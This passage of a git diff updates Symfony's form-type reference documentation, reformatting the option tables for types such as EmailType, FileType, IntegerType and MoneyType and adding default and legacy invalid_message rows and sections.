++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -231,6 +235,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -250,8 +256,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..31d6f5db90b 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -7,33 +7,44 @@ EmailType Field
 The ``EmailType`` field is a text field that is rendered using the HTML5
 ``<input type="email"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``email`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``email`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid email address.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..f745c9bc1fd 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -6,33 +6,38 @@ FileType Field
 
 The ``FileType`` represents a file input in your form.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``file`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
-+-------------+---------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | ``input`` ``file`` field                                           |
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `multiple`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                      |
+|                           | - `data_class`_                                                    |
+|                           | - `empty_data`_                                                    |
+|                           | - `invalid_message`_                                               |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `disabled`_                                                      |
+|                           | - `error_bubbling`_                                                |
+|                           | - `error_mapping`_                                                 |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `label`_                                                         |
+|                           | - `label_attr`_                                                    |
+|                           | - `label_format`_                                                  |
+|                           | - `mapped`_                                                        |
+|                           | - `required`_                                                      |
+|                           | - `row_attr`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid file.                                        |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -120,6 +125,11 @@ This option sets the appropriate file-related data mapper to be used by the type
 This option determines what value the field will return when the submitted
 value is empty.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 8a0c219f410..e406413bf37 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,51 +7,55 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `label_html`_                                                    |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
-+-----------+--------------------------------------------------------------------+
-| Parent    | none                                                               |
-+-----------+--------------------------------------------------------------------+
-| Class     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
-+-----------+--------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `action`_                                                        |
+|                           | - `allow_extra_fields`_                                            |
+|                           | - `by_reference`_                                                  |
+|                           | - `compound`_                                                      |
+|                           | - `constraints`_                                                   |
+|                           | - `data`_                                                          |
+|                           | - `data_class`_                                                    |
+|                           | - `empty_data`_                                                    |
+|                           | - `error_bubbling`_                                                |
+|                           | - `error_mapping`_                                                 |
+|                           | - `extra_fields_message`_                                          |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `help_translation_parameters`_                                   |
+|                           | - `inherit_data`_                                                  |
+|                           | - `invalid_message`_                                               |
+|                           | - `invalid_message_parameters`_                                    |
+|                           | - `label_attr`_                                                    |
+|                           | - `label_format`_                                                  |
+|                           | - `mapped`_                                                        |
+|                           | - `method`_                                                        |
+|                           | - `post_max_size_message`_                                         |
+|                           | - `property_path`_                                                 |
+|                           | - `required`_                                                      |
+|                           | - `trim`_                                                          |
+|                           | - `validation_groups`_                                             |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `auto_initialize`_                                               |
+|                           | - `block_name`_                                                    |
+|                           | - `block_prefix`_                                                  |
+|                           | - `disabled`_                                                      |
+|                           | - `label`_                                                         |
+|                           | - `label_html`_                                                    |
+|                           | - `row_attr`_                                                      |
+|                           | - `translation_domain`_                                            |
+|                           | - `label_translation_parameters`_                                  |
+|                           | - `attr_translation_parameters`_                                   |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Parent                    | none                                                               |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..f0bddfa4260 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -6,25 +6,30 @@ HiddenType Field
 
 The hidden type represents a hidden input field.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``hidden`` field                                           |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``hidden`` field                                           |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `invalid_message`_                                                 |
+|                           | - `required`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_mapping`_                                                   |
+|                           | - `mapped`_                                                          |
+|                           | - `property_path`_                                                   |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | The hidden field is invalid.                                         |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -40,6 +45,8 @@ Overridden Options
 
 Pass errors to the root form, otherwise they will not be visible.
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``required``
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..7eb32abf7f9 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -13,37 +13,40 @@ This field has different options on how to handle input values that aren't
 integers. By default, all non-integer values (e.g. 6.78) will round down
 (e.g. 6).
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``number`` field                                            |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``number`` field                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `grouping`_                                                         |
+|                           | - `rounding_mode`_                                                    |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter an integer.                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +89,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -115,8 +120,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 5fa38697701..420ab1b59a0 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -20,46 +20,51 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of languages. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_self_translation`_                                           |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `alpha3`_                                                            |
+|                           | - `choice_self_translation`_                                           |
+|                           | - `choice_translation_locale`_                                         |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                 |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid language.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -114,6 +119,8 @@ The default locale is used to translate the languages names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..be6dde7e950 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -21,44 +21,49 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of locales. You *can* specify these options
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
-+-------------+------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)         |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `choice_translation_locale`_                                       |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                         |
+|                           | - `choice_translation_domain`_                                       |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`           |
+|                           |                                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `expanded`_                                                        |
+|                           | - `multiple`_                                                        |
+|                           | - `placeholder`_                                                     |
+|                           | - `preferred_choices`_                                               |
+|                           | - `trim`_                                                            |
+|                           |                                                                      |
+|                           | from the :doc:`FormType </reference/forms/types/form>`               |
+|                           |                                                                      |
+|                           | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid locale.                                        |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -85,6 +90,8 @@ specify the language.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index bb91d0b08da..ca7a5aceac7 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -11,41 +11,44 @@ This field type allows you to specify a currency, whose symbol is rendered
 next to the text field. There are also several other options for customizing
 how the input and output of the data is handled.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `html5`_                                                          |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                            |
++---------------------------+---------------------------------------------------------------------+
+| Options                   | - `currency`_                                                       |
+|                           | - `divisor`_                                                        |
+|                           | - `grouping`_                                                       |
+|                           | - `html5`_                                                          |
+|                           | - `rounding_mode`_                                                  |
+|                           | - `scale`_                                                          |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                       |
+|                           | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `invalid_message_parameters`_                                     |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid money amount.                                  |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -122,6 +125,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -151,8 +156,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 599d0efa4cd..319c84b951e 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -8,40 +8,43 @@ Renders an input text field and specializes in handling number input. This
 type offers different options for the scale, rounding and grouping
 that you want to use for your number.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                             |
-+-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
